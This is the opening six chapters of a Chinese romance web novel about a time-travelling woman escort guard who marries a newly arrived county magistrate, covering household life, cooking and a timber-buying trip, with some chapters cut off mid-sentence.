《成为县令夫人以后》 1. 第 1 章 《成为县令夫人以后》全本免费阅读 崔府新漆的金字匾额上挂了两朵红绸花,左右大门也都贴上喜字,想来应有婚事,可路过的人谁都没听到里面的热闹声,若大的崔府冷清得异常。 府里新房前聚着三个喜婆,她们此时在揉肩跺脚,这新郎官不知怎么的还没进房来,她们当喜婆这么多回,第一次碰到如此古怪的婚事。 “这崔县令到哪里去了?叫这新娘好等啊!”一个鼻尖生黑痣的压低声音问另外两个,她是外县来探亲的,今天表嫂生病叫她替上。 两个本地的喜婆你看看我,我看看你,一副大有文章的模样。 “不能说啊?”外县来的声音更低了,但透着些难掐灭的兴奋劲。 “怎么不能说?反正都是公开了的事儿。”胖一些的对瘦一点的挤挤眉。 “诶哟就是,公开了的!不就是新县令昨天才到任,今日就娶妻么?娶的还是个抛头露脸的镖师!而且啊,都没有过六礼,没有宴宾客嘞!”说到这下巴朝洞房那狠狠一昂,声音压成气道:“还没有行大礼!” 外县来的扑哧一声笑:“什么大婚,这不就是娶妾?县令一任四年,到时候拍拍屁股再跑了!” “娶妾?哼!”瘦一些的手在面前狠狠一扇,“什么娶妾,依我看……” 陆笙听喜房门外传来的声音强忍住眼泪,上下唇紧抿成一条红线,就连执扇的手也微微颤抖。 这一切真是倒霉催的,她本来已经通过自己奋斗实现了农村躺平,谁料异常天气带来的龙卷风将她带到古代。还穿到了一个本已咽气抛在野草丛里的五六岁孩子身上,好在被人捡了回去才不至于填了饿虎豺狼的肚子。 收养陆笙的人叫老庄,是个镖师,因避前朝兵祸才到这麟国的西南湿热之地开了个镖局。当时陆笙大感天不灭己,毕竟在古代有武艺傍身肯定会让她更有安全感,于是陆笙求老庄教自己本事,摸爬滚打之下她最终成了一名威风凛凛的女镖师。 虽然在陆笙十五岁及笄时老庄劝她嫁人,他说走镖不易,谁都不能保证一路顺风,可陆笙偏不,她都想好了,在现代自己都能靠种地躺平,古代为什么不行?麟国民风还算开放,女子做生意在外的不像华国的现代普遍但也非没有,不幸中的万幸。 就是造化偏弄人,上月她只差一吊钱便要实现开始躺平转业目标的,当时的陆笙大喜过望,可就是那月的这趟镖,不仅让她计划全毁,更让老庄几乎赔光了家底。又是功亏一篑,陆笙气得心口痛,喝醉了半夜在屋顶对着漫天的星斗大喊:“怎么了呢!让我过顺利一点怎么了呢?!” 喊话的第二天,老庄喜上眉梢地说她的话肯定被老天听到了,因为县令居然给她家递上了婚书,那可是县令! 陆笙和老庄的心境却不同,并不因此欢喜,因为事出反常必有妖,一个县令怎么可能娶她?但她自知对不住老庄,镖是她非要接的。于是最后陆笙同意了这桩婚事,还把聘礼留给老庄还一点恩情。老庄今年已经四十五岁,走镖累下的风霜遍布在他的皱纹里,这次赔光了家底他肯定还会不要命似地去运镖,她不忍心。 可能自己来到这个时代本就是错误,她的灵魂也早该离开人世。这么想着,忽听得“吱呀”一声,喜房的门被推开,外面肆虐的冷风冲也似得钻进来。 开门声让陆笙的手颤了颤,她深呼一口气,手指不自觉用力捏住扇柄,只是没想到“啪嗒”一下团扇柄被她轻而易举地捏断。 崔息穿着红色袍服,狭长的丹凤眼微微一眯。他看到自己的新娘坐在床边,面上有泪痕,眼睛周围也红红的,应是刚刚哭过。 崔息皱眉,这陆小娘子上次遇到水走泥这样的惊险事都镇定自若,怎么遇到嫁娶这样的大喜事反倒哭了? “别人的话不要当真,某只是不习惯热闹。”崔息觉得她应该是听到那些流言蜚语,所以坐在陆笙对面的月牙凳上开口解释。 缩近距离看自己的这位新娘,崔息发现她的面庞确实不甚出彩,最多算清秀,眼睛倒是明亮。 坐了一会儿,崔息始终没有与陆笙对上眼,更没有对话,他直接用命令似的口吻道:“放下团扇,将头抬起来。” 陆笙从没见过这个县令,但听他的声音似乎年纪并没有自己想得那样老,他的声音略带磁性更胜在那一分宁静,她心里的忧惧去了一些,将头轻轻抬起来去看那个县令,自己的夫君。 她视线一寸一寸上移,看到崔息面孔时陆笙脸有一丝滚烫。因为这位不知为何要娶自己的县令竟然很好看,面若冠玉眼含秋水,若一支亭亭芙蕖。 许是终于在陆笙面上看到了些神情转变,崔息微敛姿态轻声安抚:“今日是大喜事,不是上刑场。” 是取笑么?陆笙心里腹诽。 “崔郎,妾生性胆小,见笑了。”陆笙决定先采取伪装姿态博取一些好感,至于后面的事,先过了今夜“洞房花烛夜”这关再讲。只可惜古代没有现代的避孕手段,她来时喝了那不知是否有用的避子汤。整整三大碗啊,喝得她满嘴苦涩,陆笙抿抿嘴,舌上味道记忆犹新。 崔息对“生性胆小”四个字笑了一下。 陆笙耳朵敏锐,捕捉到了这好似玩味的刹那,觉得他有些否定的意思,但此刻心里又撇不开过关的念头,她想:快点吧,洞房花烛夜,折腾几番就睡。 “崔郎,天色不早,不如早些休息吧。”说出这些话心里还是有几分耻感和不甘,老天,你若不玩弄于我,我现在已经可以置地改行,运气好还能给老庄再挣出一份去长安寻亲的钱。 “不急。”崔令说完忽然站起来。 陆笙心中一凛,面相英俊的县令难道背后有不可告人的性癖么?但良好的心理素质让她把工作中修炼出的微笑面具戴上,然后问崔息:“大人还有什么吩咐?” “某方一上任,公文还没有批复完毕,夫人先睡吧。”崔县令这么交代一句便离开,修长的手一把关上了洞房的门。 “……?” < 2. 第 2 章 《成为县令夫人以后》全本免费阅读 一出房门陆笙就觉得哪里不对,怎么走路顺得过分?伸了个懒腰才发现自己穿错了衣服,她穿的是崔息的袍子,天青色水波纹的圆领袍,两边领子翻开还有装饰的朱雀纹花锦。 “夫人?” 陆笙循声望去发现是一位较年长的女性。 她穿着浅色裙衫,左右手都带了做工精细的镶玉戒指,身上的披衫镶了一圈雪白的皮毛,很是雍容贵气。 那人对着陆笙颔首浅笑,像是瞧出了她的疑惑解释道:“我是公子府上的沈管事,福圣公主亲自派给阿郎的。” 沈管事第一眼看到陆笙觉得惊讶,怎么洞房一夜阿郎就叫小娘子把自己衣服都穿了出来,心思一转,心想多半是这小娘子骄纵。 陆笙在努力消化那短短得一句,信息量着实太大,她咬住舌尖争取不要让自己太过显眼包,感情这崔县令还可能是皇亲国戚,所以分到这个小地方果然是哪里让别人觉得不正常了? “见过沈管事,我是来为崔郎请大夫的,他受了些风寒。又不知这府里的厨间在哪,我想为崔郎亲手熬上一碗姜汤。”陆笙对沈管事点点头后柔声问。 沈管事轻皱眉,直接吩咐跟在身后的婢子去请大夫,自己则带着陆笙去厨间煮姜汤。 “府上的奴仆还没有配齐呢,再过一日就无需夫人如此操劳的。”说的时候沈管事不动声色地打量一番陆笙,她是不大喜欢这种无门楣的女儿家,因为与阿郎的性子多半不相配,无话可讲的夫妻怎么过得下去? 陆笙正四处张望,昨日她是被抬进来的,人又紧张得不行,根本没能看看如今容身处的模样,今天这一看就一个字,大!! 比她从前住的地方大了不止十倍,只是居然有一些破败意,有些地方围墙已经露出砖块,甚至砖块之间还有青苔。 两个人走到厨间,陆笙没直接动手而是先问:“敢问沈管事,崔郎有忌口否?” 沈管事拢了拢身上的披衫语气淡淡地回答:“不算有,就是阿郎偏爱寡淡,加上信佛所以少食荤腥。” 陆笙咬着牙点点头,佛家的“荤”[1]指的是散发强烈气味的食物,所以姜对崔息来说应该也算?这是出师不利么? 沈管事看陆笙面上表情以为小娘子要放弃,谁知道她卷起袖子就从沙瓮里掏出几块姜,一把拿起厨刀就是开切。新娘子刀工行云流水好得出乎意料,刀身一撇姜丝就整齐地铺开,长短大小相差无几,是个有功夫的。 她帮正在烧炭的陆笙洗了一个陶罐,陆笙道谢后一把接过,利索地撒了一把红糖撒进去,待糖融化微微发焦后加水,水沸后又把切好的姜扔进去,最后轻轻拨开一些炭火,让里头的水将沸未沸地咕嘟着,自己则把案上东西收拾干净。 永平镇冬日湿冷异常,闻着空气里这香甜带辣的气味,沈管事觉得寒气都少了些。 “沈管事,可否带我四处走一走,大夫来还要一些时间,这姜汤也要些火候。”陆笙收拾完把袖子放下来,擦一擦手笑着问。 “夫人尽管吩咐就是,看夫人厨艺了得,阿郎想必很爱吃夫人做的菜吧?” 沈管事和崔息并不是一起到的永平县,她昨日才到,又一夜未睡,早上就开始张罗新府修缮和奴仆安排的事,所以并不知两个人闪婚实情。 陆笙摇摇头,一瞬间起了隐瞒之心,但这事怎么瞒得住,所以如实相告:“崔郎还不曾试过我的厨艺,我从前是走镖的镖师,有幸被崔郎相中。”其实她都不知道崔县令怎么相中的自己。 “原来如此,夫人小心碎石。”沈管事嘱咐一句没再说其他。 看过屋子,陆笙对这块地方还算满意,特别是屋后面的那一座大园子,里头甚至有片小荷塘,取的流经镇子的一处活水做水源。这西南虽然不比从前走过燕北地冷得彻骨,但此时荷塘里也毫无生意,面上还有细细的薄冰结着,刺出冰面的是一根根枯萎发黑的叶茎,瞧着无比萧瑟。 陆笙很识趣,只是略看几眼就回到厨间,然后端着姜汤回昨日新房去。 姜汤端到崔息面前的时候他正仰着面平躺,眉心皱成一个川字,听到门开的声音也没有睁眼。陆笙拿手去探,额头滚烫得厉害,她赶忙召正巧遇进宅的大夫过来,又去将门关得牢一些。 大夫是东街的张远清,据说他以前是大州名医,现在退到家乡颐养天年,陆笙看他鹤发童颜觉得挺靠谱,至少养生有术。 “啧。”张大夫摸着自己的花白的山羊胡忽然发出这么个动静。 “大夫,是什么大病么?”陆笙心一沉,切实地感觉到了什么叫命如蝼蚁,如果新婚夜以后崔息这个皇亲国戚忽然命不久矣,那以后的路只会更难走。 不会给我的设定是克夫吧? 陆笙这么胡思乱想的时候张大夫终于开口,他说:“燕尔新婚,莫要太折腾了。” “……” 陆笙手指掐大腿努力保持微笑,一直保持到张大夫开完方子离开,离开前张大夫还说了句:“喂吧,姜汤煮得不错,等风寒完全好之前都莫行房事。” 张大夫说得很直白,陆笙点点头,脸红得有些不正常,这是她忍的。送走这位直白的张大夫,陆笙去取了靠枕给崔息,又亲自坐在床边喂他喝姜汤。 姜汤辛辣,崔息果然皱眉,微微别开脸。 看着他昨日还莹润的面色今日却苍白,陆笙装哭:“崔郎喝一些吧,喝了能好得快些,冬日湿寒奴家担心您的身体呀!” 崔息揉揉太阳穴,一双手附上来托住她抬碗的手,指尖微微冰凉,他没有让陆笙喂着喝下,皱着眉一口全闷了。 “辛苦夫人。”他眉间痛苦的神色还未去,应该是很不爱喝。 陆笙将碗放下,拿帕子给他擦擦嘴,轻声哄他:“崔郎,你现下身体发烫,睡一觉吧,出汗就喊我。” 崔息乖乖躺下,陆笙帮他掖好锦被。 现在是崔县令最脆弱的时候,施以关心应该有两倍功效吧?陆笙像盯着自己的宝贝似得守着崔息。 “笃笃笃” 房门忽然被人轻轻叩响,陆笙微微掀开一条门缝,发现是沈管事带人搬了一架屏风来。 现在这门到床的位置并没有什么遮拦,风直直就吹过来,这样一遮能少一些风,但她要求沈管事等一下,自己要先拧一条毛巾将崔息的额头盖上。 沈管事点点头,觉得这陆小娘子是个仔细的人,等获得陆小娘子首肯进去的 3. 第 3 章 《成为县令夫人以后》全本免费阅读 一双手摸上新房的门窗,之后来人居然直接猛地一撞,砸似得开了门。湿冷的风像细密的冰针一样打进攒了些热气的屋子,那人刚要进去身后的沈管事在后面暴呵出声。 “你个涝不死的田舍汉快把门关上,阿郎受了风寒呢!夫人也在里头,你要做什么!” 秦厌被身后的骂声吓得缩了缩脖子,情急之下将门关错了左右,转身央求沈管事的时候门又被吹开。 没想到这沈管事也是有功夫傍身的,一个箭步冲上去把门关了起来,然后反手去扇这心眼如井的憨小子。 秦厌身体轻轻一摆躲过,脸厚哭诉:“丰娘,痛!” “阿郎身体要紧还是你那脸皮要紧?毛手毛脚,若非阿郎仁慈我定要把你宰了。” 秦厌知道丰娘这下是真生气,立刻收敛了表情,小心翼翼地问:“公子怎么啦?前两天还好好的。我这不是急么!我是回州郡办事,公子叫我一来便回复!” 崔息这时候已经醒了,听了会儿外面的吵嚷缓缓睁开眼,视野昏暗的程度让他以为天色已昏,微微转头才发现不对,眼前摇摇的彩色的不是霞光而是女人的衣裳,怪不得方才秦厌闯进来的时候他没有觉得太冷。 “夫人?”崔息轻轻喊一声,无人应答。 不多一会儿,新房的门再一次被推开,木转轴发出缓慢而匀速的摩擦声。 “丰娘何事?”崔息揉揉太阳穴问。 “阿郎,我是来跟您说一声,夫人说要为您煮一道汤。” “告诉她不必费心。”吃过一次是他的礼貌,再吃一次气味如此浓重的姜汤他不愿意。 沈管事沉吟一会还是替陆笙解释:“不是姜汤了,是莲藕排骨汤。” “好。” 沈管事禀报完,见阿郎没有出来的意思便告退。 门关上后,崔息从锦被中伸出他修长有力的手,指尖如同拂过流水般触碰那些的衣衫,上面还残留着刚才秦厌开门时留下的凛冽。他拂过热烈浓郁的红色石榴裙、如水漾开的浅蓝色波纹披帛还有花样繁复的华锦对襟,心想真是晦暗也遮不住的光华。 - 沈管事“笃笃”敲了敲厨房门喊了声“夫人”,陆笙刨藕的手立刻停下,转身却看到她还带了一个陌生的青年。 “这是阿郎的亲卫,秦厌。” 原来是让自己来认人的,陆笙重点理解了“亲卫”两个字,没有怠慢,立刻走过去寒暄几句。 “见过笙娘子!什么时候能吃莲藕排骨汤?”秦厌一拱手,问出了自己最关心的问题,他已经闻到了肉香。 陆笙听他的话笑,心想这小郎君还挺直爽。 “约莫要天黑。” “这么久?我还不如出去吃。”秦厌嘴一撇。 沈管事斜他一眼,秦厌头一昂不接招,肚子咕噜噜叫了声表示抗议。 “若秦小郎君能弄来些浸泡过一晚的糯米和干桂花,我能你让你快些填填肚子,就是不知你是否爱吃甜的。”陆笙被他逗笑了,替他想了个办法。 “泡了一晚的糯米?我哪里去找!笙娘子这是打发我呢!” “小郎君去食店里问一问,这东西在这里不罕见。”陆笙给他指路。 “果真有?我极爱吃甜,毕罗也只吃樱桃的,还有浇蔗浆!”秦厌立马来了精神,睁大眼睛像一条精神抖擞的金毛犬。 “行了,谁有空骗你,快去!”沈管事打发他走。 等秦厌走了沈管事对陆小娘子说:“秦厌人不坏,就是年纪小嘴快些,夫人莫要同他一般见识。” 陆笙浅笑不作答,只是想自己还好理解了一下。以及这秦厌黑袍红襟意气风发的模样大约也不是什么真亲卫。 沈管事又问她还需要些什么,陆笙摆摆手说都赖管事布置,完事周全。等沈管事一走,陆笙偷着长出一口气,虽然同事不算难相处,但是还是得先收敛着。接着她看四下无人,忽然对着空气打了几下拳,这伪装真是太累了,她需得抒发一下才好继续做菜。 今天这道莲藕排骨汤说是体恤崔县令,其实更是因为她自己发馋。上午看到那片凋零的荷塘陆笙就蠢蠢欲动,她人俗爱吃,从小时候抿到那口莲藕排骨汤开始,对枯萎荷塘的印象就从寂寥变成了味美。 藕是埋在淤泥里珍贵的碳水,味道有些淡淡的但清爽甘甜,而且春夏秋冬每个时令总有适合它的位置。春天吃荷塘小炒,夏天吃冰过的糖藕,秋天吃藕夹,冬天喝汤,佳藕天成,堪称完美。 陆笙边遐想边把莲藕去皮,然后撒上些盐拌匀,排骨已经在陶罐里炖了几十分钟,等莲藕出了水就可以放进去,杀过水的莲藕吃起来口感偏粉一些,和酥烂的排骨口感更相配。 等待的空隙里她在想怎么处理莲藕削下来的皮,陆笙其实有点不忍心扔,准备收集起来埋土里,做简易的堆肥,就是现在天气冷腐化过程会慢很多,她希望能在春天到来之前圈一块属于自己的菜地。 做完这些她打开陶罐,结果忽然打了个喷嚏,吓得陆笙赶紧把剩下的姜汤热一热喝下去,要是自己在这节点病倒了那太不划算,好感度还有得刷呢!一口闷了姜汤,她把藕一块块拨进已经奶白的排骨汤里,滚烫的水溅在陆笙的手心,水花带来一阵又一阵灼热疼痛,但她没收手,偶尔是要痛一下的,告诉自己不是在做梦。 放完莲藕之后就是关上陶盖闷煮,陆笙本来想去照看崔息,但不舍得这种独处的愉悦,又赖了一会儿,听着汤沸闻着肉香,这日子更有实感,她坐在热源附近闻着香味打量厨间,大小不过是十平,采光和通风都不好。 “笙娘子,糯米我带来了!”秦厌闯进来,续上那份偷懒。 陆笙接过他手上提着一份被荷叶包起来的糯米,拿剪子剪开,然后用手指掐了一粒,糯米应力而断,看来泡得不错。 “小郎君等我两刻钟,到时再来就成了。只是,桂花呢?”陆笙问他。 “在这,我还给捂热了呢!”秦厌颇有些自豪,又说:“笙娘子不必喊我什么小郎君,叫我秦厌便是,我们粗人不讲究字号。” 陆笙哈哈一笑,心想这人还挺自来熟,但马上接受了他的提议,因为三个字念起来比两个字累嘛。 拿秦厌买的料她是预备做桂花糖藕。这道菜陆笙夏天爱吃。她穿越来之前是江南人,家乡有大片的荷塘,小时候夏天会跨进采菱木桶一直飘到藕花深处,寻一下易安居士词句里的片刻,日落前奋力划回去的时候也能惊起几只觅食的白鹭,紧赶慢赶地跑回去吃外婆蒸的糖藕,脚上还留着田垄上裹了草的泥。只是一朝穿越,因糖价高,她所以吃的机会就少了,今天也算是借“公款”解一点思乡之情。 藕快 4. 第 4 章 《成为县令夫人以后》全本免费阅读 沈管事听到陆笙要插手修缮事务有些不悦,心想小娘子能懂么?但屋子终归是两个人住,就忍了下来。 原以为这陆小娘子要提一些散碎不清的要求,譬如桌子款式、屏风花纹之类,没想到她直接递给自己一张纸卷,上面有些详细的木材价格和工匠人选,就连工匠优缺点也都详述其上。 “哎呀呀,夫人你以前果真是个镖师!”沈管事被她的信息震撼住,就连陆笙那一手不太规整的字在她眼里都有了好形貌。 陆笙抿唇颔首,心里却苦涩,她想若非命运如此跌宕,我现在已经实现半自给自足生活。又因为这份念念不忘,所以来到麟国再次确认目标后,这些信息就被她逐渐筛选了出来,这事可非一日之功。 陆笙觉得建造装修的内容无非是建筑功法、材料,装修的内容是硬装和软装。古代造房子有点像搭积木,相比现代房屋构成,它的软装更多。当然,这些内容之前还要再加四个字,因地制宜,譬如永平县,你多少得将屋子垫高些,要不然得风湿。 “实不相瞒,昨日我已去跑过些商家,现下都说没有足量的木头,全部买下价格又高得吓人。”沈管事看陆小娘子果有真本事便把难题抛出来。 陆笙沉吟片刻道:“甚少人家在冬日修缮房屋,一般未雨绸缪早已补好。永平县地方不大,湿气又重,囤木头的人确实少,修缮这样的大屋子也是不多见。” 沈管事叹一口气,她又何尝不明白,只是阿郎时运如此,搬都搬来了,总不能得过且过。 “可问过县里的乡绅大族?”陆笙给她支招。 “还不曾,这事需得阿郎出面才好,但……诶,我还是先同阿郎说吧。”沈管事“但”字后面的话没说,同本地乡绅交流是个复杂的问题,说给陆小娘子听也是徒劳,她能拿出这一份单子已属不易。 “嗯,合该由崔郎出面。” 陆笙轻轻点头,其实这张卷里她藏了一个阳谋,只愿崔息不是一个对家马虎敷衍的人吧,这样才好发挥。 走之前沈管事为心中的小觑做了些补偿,她跟陆笙说崔息目前是一时心境所致,只要她多些笑意以后定会大不一样。 陆笙当然满口答应,这可是个关键线索,说明这崔县令有充足的开发空间,像他这样礼貌的人不成夫妻,成朋友也挺好。 - 上午见完沈管事,下午陆笙又去见秦厌。 秦厌今天衣着普通些,不再绸缎锦装,但是人生得高大所以看起来依旧英武异常。 “笙姐姐,公子叫我带你看钱看地去!咦,今日换了石榴裙么?还是昨日的装扮适合你些!”秦厌叫得愈发亲切,笑得也很爽朗。 陆笙就喜欢这种心直口快的小郎君,哪怕她听来这是说自己今日扮相不佳,但这也算是事实吧。 走镖晒出的麦色肌肤配浅衫红裙下,外头罩的还是有艳丽花锦装饰的披袄,其实这已经是最适合自己的,其他更不相配,她今早穿完都不敢照镜子,心想早知道就把崔息送来的布料留下一匹。 “要出去,还是花衣喜庆!”陆笙嘴上可不会认输。 不过很快她就真心后悔了,崔府门前有差役牵了两匹马,如果她穿的是袍服就可以翻身上马,现在却只能坐车。 “笙姐姐,可惜我备下的好马咯!咱们坐车,我赶车也是稳妥得很,顺便你再给我讲讲你会做什么菜呗?公子五日一休,到时我出钱买菜。”秦厌一拍胸脯,字里行间都是对美食的期待。 “是来此处吃不惯吧?”陆笙一眼看破他的心思。 秦厌不好意思挠挠头,可不就是吃不惯么?这里的菜同上京大为不同,烹制手法又粗糙,除了一些美酒能饮下,其他的是一概不合口味。 “等点完今日的田产再细说,崔郎与你口味应是相似?” 陆笙放了一线希望给他。 马车颠儿颠儿从县里拐到县外,陆笙已经听秦厌骂了好几句,她撩开帘,外面同自己想的情形相差无几。 永平县不到五千户的人口,人口最多的就是县城。县城和周边是是唯一没有被高山切碎得的大块平地,但耕地资源依旧紧张,好地大多是本地乡绅大族的,所以尽管县令规定分的土地不少,但具体情况肯定是量足够,质不保。 “天杀的,前任县令吃的就是这几块地?他到底种没种?”秦厌对着一片开垦痕迹不明显,田中已经有灌木的地惊骇不已。 陆笙听到“前任县令”唇角泛起一丝冷笑,他当然没种。不过话没有出口,官场事情复杂,像她这种小杂鱼最好闭嘴。 “天杀的,那片河塘也算地?”秦厌手都快按到腰间的刀上了,看得出他是真生气。 “喏,那还有些。”陆笙对着图指了指几亩看起来相对正常的地,里面还残留着今年收稻后留下的稻茬。 “那些倒还成,但划个长满杂树的坡算怎么个事?”秦厌还是气鼓鼓的。 直到回家他还是很生气,陆笙说晚上请他吃一道渍梅排骨才由怒转喜,陆笙后知后觉,这小子,原来是在这等着她呢! “笙姐姐,我来买排骨!” “那你去吧,我在厨间等你,再买些鸡蛋。” 秦厌却摇摇头说不是现在,陆笙问他为什么,他说公子吩咐除了田产还有别的东西要给她。 “什么东西?” 陆笙听到是崔息的吩咐,不由想笑,难道又是对不睡一张床的补偿?他是什么身份这么恃重他自己。算了,反正是便宜,不捡白不捡。 “去了就知道。”秦厌带着她走。 两个人一直走到间刚刚擦干净的屋门前,秦厌右左张望后从腰间掏出一把钥匙,然后神秘兮兮地打开锁请她走进去。 第一间都是架子,上面摆了许多的绫罗绸缎,第二间还是要锁才能打开,开打后,陆笙看到里面全是大大的木箱,每个木箱上都上了锁,那锁精巧地很,有些还是错金银的。 “喏,这是笙姐姐每月额外的银钱,定额的丰娘会给你。” “那这里的银钱是我每月找你领么?”陆笙感叹,真是越来越有打工的感觉。 “不,这两把钥匙都给你,你自己拿就好,这里的东西你都可以随意支取。” “啊?给我?”陆笙大吃一惊。 “是啊,你是家里的女主人,不给你给谁?公子明媒正娶的娘子,家里做主的人。” 陆笙知道秦厌嘴甜,能把苦的掰扯成甜的,但是这钥匙是实打实给的她,这里还有这么多箱东西,光是这个锁撬下来她都可以换不少粮食,就不怕她携款潜逃吗? “还是不要给我了,我不善保管财务,万一再有人抢去……”陆笙积极推卸,她都不敢测试自己的人性。 “抢?笙姐姐莫说笑了,上月我和公子可是看着你策 5. 第 5 章 《成为县令夫人以后》全本免费阅读 土黄色的泥水从陆笙眼前沿着山体流下,接着是几阵古怪的摇晃,陆笙感觉到自己的手在颤抖,喉咙痉挛发痛。 “老庄,扬鞭!” 她朝老庄拼命叫,边叫边斜转身去拉缰绳,她赶的是马车,往前就是死,马腿绝对跑不过流水。 “驾!” 陆笙一甩马鞭抽得马儿鬃毛凌乱吃痛乱踏,身后轰隆隆如雷鸣,又晃如地动,一大片的黄泥带着水以摧枯拉朽之势狂奔而下,裹卷着老树新芽和无数生灵倾泻,如开地府黄泉。 陆笙不敢回头,手里的血点子应着鞭声四散,溅在她脸上,也挂在她皱起的眉头。 不够!还不够!!速度根本不够!!! 陆笙一狠心,直接抽出别在腰间的刀子,一抬手就把那刀刺向了她最爱的白色大马。 这一刺骏马如携鲜红绶带,发了狂拼命奔腾,陆笙踏在车板上左右摇摆,狼狈不堪地出了那片水走泥的路段,可还没等她放下心甚至是松一口气,前面又有一道黄色泥沙缓缓铺开蔓延。 上天无门,那就只能往下了,她望一望脚下,下方是奔腾的江水,白色的水沫打在河中礁石上好似玉屑飞花,人掉下去估计尸骨无存。忽然,她眼睛一亮,果断抬手斩去皮革带子,放跑了那一匹可怜小马,自己则用早已血肉模糊的手抓住箱子下车,又用牛皮绳把自己和箱子绑在一块。兵行险着,陆笙牙关颤颤拽着木箱跳了下去。 她看到的是一棵根虬强健的大树,它刚好生在附近的绝壁,歪树像一只手掌接住了陆笙,但箱子太重,百年之根也发出哀嚎声,她心如擂鼓,但谁叫走镖就是这卖命的买卖呢?况且这一次是压上的全部家底,全部! 树木柔韧但也架不住她和箱子的重量,陆笙抱紧了枝干又握着脖间那块貔貅玉佩祈祷,头顶上一片泥沙喷涌,托着她的大树也发出最后的哀求最后应声断裂,裂口仿若尖牙。 在失重感里,陆笙猛然睁开双眼,双目欲眦。她起身的动作太大,脖间的玉佩也被抛起,又回落在她满是汗水的皮肤上。 “嗬嗬嗬—” 陆笙像离了水的鱼坐在床上大口喘气,那股失重感犹有余韵,箱子上那两个血手印的形状依旧在她眼底触目惊心地印着。 这事就是那天真实发生的,只是最后结果不一样,那天落水的是箱子。 “夫人?。”门外响起敲门声,是崔息的声音。 “请崔郎稍等一会儿,妾要梳妆。”陆笙讲起瞎话不带脸红的。 她先拿了块手巾擦拭汗水,又抓了件新买的深蓝缺胯袍套上,脚踩进擦得发亮的革靴里,惯用的蹀躞带上绑了一根绳,里头一股添的红线隐现其中。 陆笙在戴幞头还是梳发髻上纠结了一下,最后想了想还是选了双螺髻,毕竟现在是人家的娘子,戴幞头到外边指不定传成什么样。 对镜子努力笑一笑,陆笙才招了婢子进来端水净面洁口。之后跨出了房门,看到崔息就在跟前,是一贯的雅态,手里拢着个小炉,估计是等久了指头冷。 “崔郎,天冷你还去吗?不如叫仆役代劳吧。”陆笙朝他眨眨眼故意调侃。反正崔息都见过她刺马跳崖了,还装什么?不装了,本人就是这样女子。 “怎么不去,一定得去!我都准备好了,鸡肉、猪骨还有一些羊肉!”秦厌却不知道什么走过来,腰间的刀鞘在阴云之下都是锃亮的。 要去的是入陆笙埋下的阳谋,去找那个唯一能提供木材的商人。 陆笙那天说的“本地乡绅”纯属瞎指路,县令初到此就欠下地头蛇人情,以后还怎么混?所以唯有找商人,而那名单上能供木材的商人又唯有一人,阿木凌。 看陆笙兴致勃勃的样子,崔息心里莫名松快,这些日子被那一桩案子搅得心闷,对陆笙又掺杂些丝丝缕缕的愧疚,没想到两三日不见却遇到笑容更加明朗的她,崔息被这股劲感染,不知自己唇边也夹上了笑。他想,陆笙那一股童真却狡黠的感觉真像极了从前蹲在马背的小猞猁。 “看这天可能要下雪粒子,进林子不好受,我是皮糙肉厚,可……”陆笙看崔息那似笑非笑的模样将话吃一半,脸轻轻抬起。 崔息看她微挑的眉,忽然想到前几日她偷做的素蘑汤,乳白的汤汁里浮动着菌蘑,热气后藏着贪嘴的陆笙,自己只一声话喊得她面带惊吓继而变羞臊,最后干脆把碗给自己,说是专门给自己做的,狡猾。 “讲不完的话你们晚上说,快启程吧!”秦厌是等不及了。 两个当事人听他这么一说不由讪讪,点点头由着他安排。 去取马的时候崔息忽然靠过来,陆笙身子习惯性一避,走镖带马时候她都这样,不爱和人讲话,尤其一些陌生男人,都三句离不开荤话的事。崔息见她躲自己没有强求,拉远了距离没再靠近。 三人套了马出去,在县城里还不敢放开步子,等出了城直接双腿一夹马腹,马蹄将鞭响都抛在了身后,三支离弦利剑冲也似得飞奔而去。 北风凛冽,又没有头盔,没罩面的脸被疼得像有薄刃轻割,但没人停下来,直到目的地。 陆笙最先到,她拽着缰绳平衡马步在原地休息,胯下马儿停下后时不时晃晃头,鬃毛迎着风扬起,白色热气从它嘴里飞出一片,很快又消散无踪。 “快入山了,牵马吧。”陆笙对转头就赶上来的两个人笑,又掏出两个白贝扔给他们。 “这……是什么?”秦厌冻得脸僵,说出的话都不利索。 “面脂,涂上就没那么难受了。” 崔息一把接住,摊开掌心后伸出自己略有些僵硬的手指分开白色的两片壳,里面是凝脂一般的样貌,轻轻一嗅有丝丝的茉莉花香。 “为松快这么一下,真是遭了大罪。” 秦厌没法大笑,但语气欢快,涂完还故意朝风来处喷了几口热气。 三人牵马进山道的时候天上正落雪粒子,一颗一颗地打在树叶上,这里的冬日多不凋之木,无数次坠落和承接的瞬间化作狂乱恼人的噼啪声。 秦厌斗笠脱脱戴戴,很不习惯。 陆笙见了打趣他说:“书上记载有这么一个人,用如椽的大竹做了一间屋子。屋主人赞曰:夏宜急雨,有瀑布声;冬宜密雪,有碎玉声[1]。你这以低廉之价得高雅之境,还不满足?” “什么劳什子碎玉声,他是没听过碎玉,而且这也不 6. 第 6 章 《成为县令夫人以后》全本免费阅读 “笙姐姐,这就是你说的相当利索?”秦厌看那木楼上还在指着他们大骂的少女目瞪口呆。 陆笙坦然:“是啊,利索吧!”语气居然很是自豪,她又补充:“她骂人的话也是官话,而且阿木凌骂人骂得字正腔圆,可不就当得起“相当利索”这四个字。” 崔息挡在陆笙面前,听她理所当然地掰扯轻轻摇头。自己跟前还刺着一杆木枪呢,就是那少女一臂膀掷过来的。他不知道陆笙为什么把阿木凌也算作木材商人,这般做派根本是匪徒。 “高价买别人也未尝不可,何必买她的。”崔息见阿木凌越骂越难听,皱起了眉毛。 “崔郎,没事的,叫她骂个痛快。她的木头价格合理,况且骂几句也少不了二两肉。”陆笙拨开崔息的手,他的指尖依旧是冷冷的,不知道是不是风寒还没好。 阿木凌看到陆笙站出来,想大声再骂,但她嗓子受不住,好个陆笙脸皮果然厚!又见她拔起自己的木枪,振了振枪尖上的湿土,然后气定神闲地掷了回来。 土枪深深扎进靠在门上的木板子,末端发出急促抖动的声响。 “阿木凌,我是来送钱的,留点力气给我生火!”陆笙两只手掌张开放在嘴前大声吆喝。 “为什么要生火?”秦厌拍拍马驹的脸安抚,这阿木凌太泼辣,把马儿都吓得退后了。 陆笙回头咧嘴一笑,牙齿白森森的,在渐暗的天色里有些吓人。 “吃饭呀,你不饿吗?” 秦厌点点头,坚定地判断了一下自己的状态回答:“饿!” 这一声“饿”字说得太中气十足,吓飞了几只停在不远处的麻雀。 